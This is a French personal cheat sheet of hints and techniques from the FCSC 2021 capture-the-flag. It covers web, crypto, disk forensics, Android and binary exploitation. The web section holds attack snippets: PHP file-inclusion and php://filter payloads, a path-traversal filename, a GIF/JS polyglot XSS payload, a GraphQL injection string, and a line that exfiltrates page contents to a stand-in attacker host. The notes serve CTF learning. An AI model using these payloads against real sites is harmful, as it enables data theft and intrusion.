FCSC 2021
Ceci n'est pas un writeup/compte-rendu du CTF.
Ne se trouvent sur cette page que de courtes notes/pistes/méthodes qui m'auraient permis
de résoudre plus de challenges.
Résultats:
Points: ?? (j'ai oublié de le noter…)
456e/1380 au classement général
173e/563 au classement "hors catégorie"
Pour les deux classements, je ne tiens compte que de ceux ayant scoré 1 flag au moins
Les clefs des flags
Web
HTTP packet injection
Via le path/query string de l'URL (SSRF Header injection via CVE-2016-5699 in Python)
PHP LFI
PHP LFI include($_GET[…])
:
local path (flag.php) ou remote path (http://...) ou
php://filter/convert.base64-encode/resource=flag.php
Flags potentiellement en $_SESSION
RCE via file upload + C:\Windows\tempt\php<<
(FindFirstFile quirk)
ou via n'importe quel autre file (user session, regular upload, avatar,…)
PHP RCE possible: php -r 'print_r(file_get_contents("flag.php"));'
(utile si cat, xxd, head, tail etc ne sont pas dispo sur la machine vulnérable)
Générique
Si l'upload de fichier conserve le nom d'origine, alors ..%2Ftruc.png
est un bon nom
JS/GIF polyglott: GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Exfiltration de données via URL "//attacker.c2c/?" + btoa(document.body.innerHTML)
Crypto
RSA: (m^e)%n
Via xcas irem(m**e,n)
;
déchiffrement via factorisation première ifactor(N)
voir aussi
le flag RSA destroyer
et
RSA CTF tool
pour casser une clef publique faible
import codecs
et
codecs.decode(output[0:32].decode('ascii'), 'hex')
avec output = open('…', 'rb').read()[:-1]
pour décoder une partie d'une chaine hexa -> ascii (cf
laPIN)
Morse: 5 signes pour les chiffres, 4 ou moins pour les lettres
x XOR x = 0, ce qui peut drastiquement simplifier certains algos de chiffrements par blocs
Courbes elliptiques, cf wikipedia ou Lost Curve flag
PDF SHA1 collider
Shattered paper; SHA1 collider
GraphQL injection
"}}]}) { nodes { nodeName, node2… } } evaluate{ }#
Table list: {__schema { types { name } } }
Fields list: {__type(name:"FlagTable") { name fields { name type { name kind } } } }
Disque Forensic
Ne pas mixer sudo/non-sudo entre (ewf)mount et parted (sinon, access right error):
mkdir ./mount-pt; (sudo )ewfmount file.e01 ./mount-pt; (sudo )parted ./mount-pt/ewf1
kpartx -av ./mount-pt/ewf1
pour mount
Les strings en forensic peuvent être 8/16/32 bits little/big endian:
strings -e S/b/l/B/L file.img | grep 'FCSC'
respectivement 8bits/16bits BE/16b LE/32BE/32LE
mmls disque.e0*
: partition layout of a volume system
fls disque.e01 -o 2048
: liste les fichiers alloués,
-o
= offset de la partition (issu de mmls)
icat disque.e01 -o 2048 15 > out.zip
: extraire le fichier n°15 (index de fls)
Android
jadx pour décompiler apk vers Java (attention: full path requis, et output dire requis):
jadx -d /home/dragon/…/output-dir /home/dragon/…/file.apk
Binary exploits
Vérifier les options de compilation (sécurité) d'un binaire:
checksec --file=executable-file
(package sudo apt install checksec
)
Limites d'un process
(CPU, opened file descriptors, etc):
ulimit -a
(view),
prlimit … ./executable-file-to-run
(set)
Blind ROP (Return Oriented Programming): "Blind date flag" ainsi que "Reporter flag" ( alertnative writeup ) et "Encrypted shellcode" (voir aussi un générateur de strings non-répétitive pour déterminer la longueur du buffer)
Miasm, reverse engineering framework in python for binaries
Toolbox
- Compression dans un flag = potentielle attaque sur la taille des requetes/réponses (BREACH like)
-
https://hookb.indead link pour monitor le traffic HTTP reçu comme un C2C -
.
n'est pas dansPATH
doncexport PATH=.:$PATH
requis! - Radio/audio: audacity (import/raw data, avec le bon sample rate)
- Github: des projets open source existent souvent pour simplifier la vie (one_gadget, chip8,…)
-
Python cli:
import os
print(os.listdir())
print(open('flag.txt', 'r').read())
HTTP server:python3 -m http.server 8080
(et c'est tout)
Python image, network and graphs:Image.open(BytesIO(base64.b64decode(…)))
img.getpixel(…)
networkx.DiGraph() … add_edge(…) & .shortest_path(…)
cf Flag Ventriglisse - Diassembler: Ghidra, Cutter (radare2) avec intégration ghidra ( r2ghidra )
- Network simulators: Antidote (NRE labs), Cloonix, Containerlab, CORE, EVE-NG, GNS3, IMUNES, Kathara, Mininet, NS-3… (see Brian Link Letter
- Volatility , framework for volatile memory analysis
-
"Findaes", pour trouver des clefs AES dans un dump mémoire,
pour ensuite ouvrir une partition LUKS:
echo "fd0…46" | xxd -rp > keyfile.dat
cryptsetup luksOpen file-name.img secret --master-key-file keyfile.dat
cf Ordiphone flags -
JWToken, base64
.
separated, cf JWT_Tool et JWT Key Recovery pour retrouver la clef *publique* RSA à partir de tokens valides (flag Vice VeRSA) -
Rust peut utiliser des macros (à la compilation) qui sont elles-même du code Rust,
#![crate_type = "proc-macro"]
#![crate_name = "mymacro"]
cfhttps://blog.m1t.re/posts/fcsc-le-rustique-v2/(dead link)